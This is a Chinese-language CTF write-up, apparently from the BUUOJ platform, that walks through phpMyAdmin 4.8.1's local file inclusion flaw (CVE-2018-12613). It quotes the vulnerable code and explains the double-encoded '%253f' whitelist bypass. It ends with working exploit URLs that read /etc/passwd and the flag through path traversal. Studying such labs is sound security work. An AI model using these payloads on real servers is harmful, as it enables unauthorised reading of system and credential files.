打开题目是乱码,好奇怪
御剑扫一下
扫到了phpmyadmin
版本为4.8.1
这个版本是有漏洞的(CVE-2018-12613),复现一下
部分源码:
$target_blacklist = array ('import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])&& is_string($_REQUEST['target'])&& ! preg_match('/^index/', $_REQUEST['target'])&& ! in_array($_REQUEST['target'], $target_blacklist)&& Core::checkPageValidity($_REQUEST['target'])
) {include $_REQUEST['target'];exit;
}
根据这几行代码可知要将$_REQUEST[‘target’]所表示的文件包含进来target参数需要满足以下5个条件:
1.不为空
2.是一个字符串
3.不能以index开头
4.不能在 $target_blacklist数组里面(即不能为import.php,export.php)
5.满足Core类里面的checkPageValidity()函数检查 前四个可以轻松绕过,来看看第五个条件
接着找它的checkPageValidity()函数
public static function checkPageValidity(&$page, array $whitelist = []){if (empty($whitelist)) {$whitelist = self::$goto_whitelist;}if (! isset($page) || !is_string($page)) {return false;}
if (in_array($page, $whitelist)) {return true;}
$_page = mb_substr($page,0,mb_strpos($page . '?', '?') //查找字符串在另一字符串中的首次出现位置);if (in_array($_page, $whitelist)) {return true;}
$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}
return false;}
$whitelist 为空就调用$goto_whitelist;
$page 如果没有定义或者 $page 不为字符串就返回 false;
$page 如果存在在 $whitelist 中返回 true;
如果 $_page 存在在 $whitelist 中返回 true;
经过 urldecode 函数解码后的 $_page 存在在 $whitelist 中返回 true。
白名单$goto_whitelist:
public static $goto_whitelist = array('db_datadict.php','db_sql.php','db_events.php','db_export.php','db_importdocsql.php','db_multi_table_query.php','db_structure.php','db_import.php','db_operations.php','db_search.php','db_routines.php','export.php','import.php','index.php','pdf_pages.php','pdf_schema.php','server_binlog.php','server_collations.php','server_databases.php','server_engines.php','server_export.php','server_import.php','server_privileges.php','server_sql.php','server_status.php','server_status_advisor.php','server_status_monitor.php','server_status_queries.php','server_status_variables.php','server_variables.php','sql.php','tbl_addfield.php','tbl_change.php','tbl_create.php','tbl_import.php','tbl_indexes.php','tbl_sql.php','tbl_export.php','tbl_operations.php','tbl_structure.php','tbl_relation.php','tbl_replace.php','tbl_row_action.php','tbl_select.php','tbl_zoom_select.php','transformation_overview.php','transformation_wrapper.php','user_password.php',);
然后这个的绕过就是要利用url解码,先将?进行两次编码,两次编码的值就是%253f,第一次url解码是由服务器自动解码的,然后经过urldecode之后变为?截取前面的值,所以前面我们传入一个在白名单里的值
target参数只要不是黑名单中php文件就可以
尝试读取/etc/passwd文件
http://a55386e4-be0b-457b-8f80-d772886cccb8.node4.buuoj.cn:81/phpmyadmin/?target=db_datadict.php%253f../../../../../../etc/passwd
读取flag
http://a55386e4-be0b-457b-8f80-d772886cccb8.node4.buuoj.cn:81/phpmyadmin/?target=db_datadict.php%253f../../../../../../flag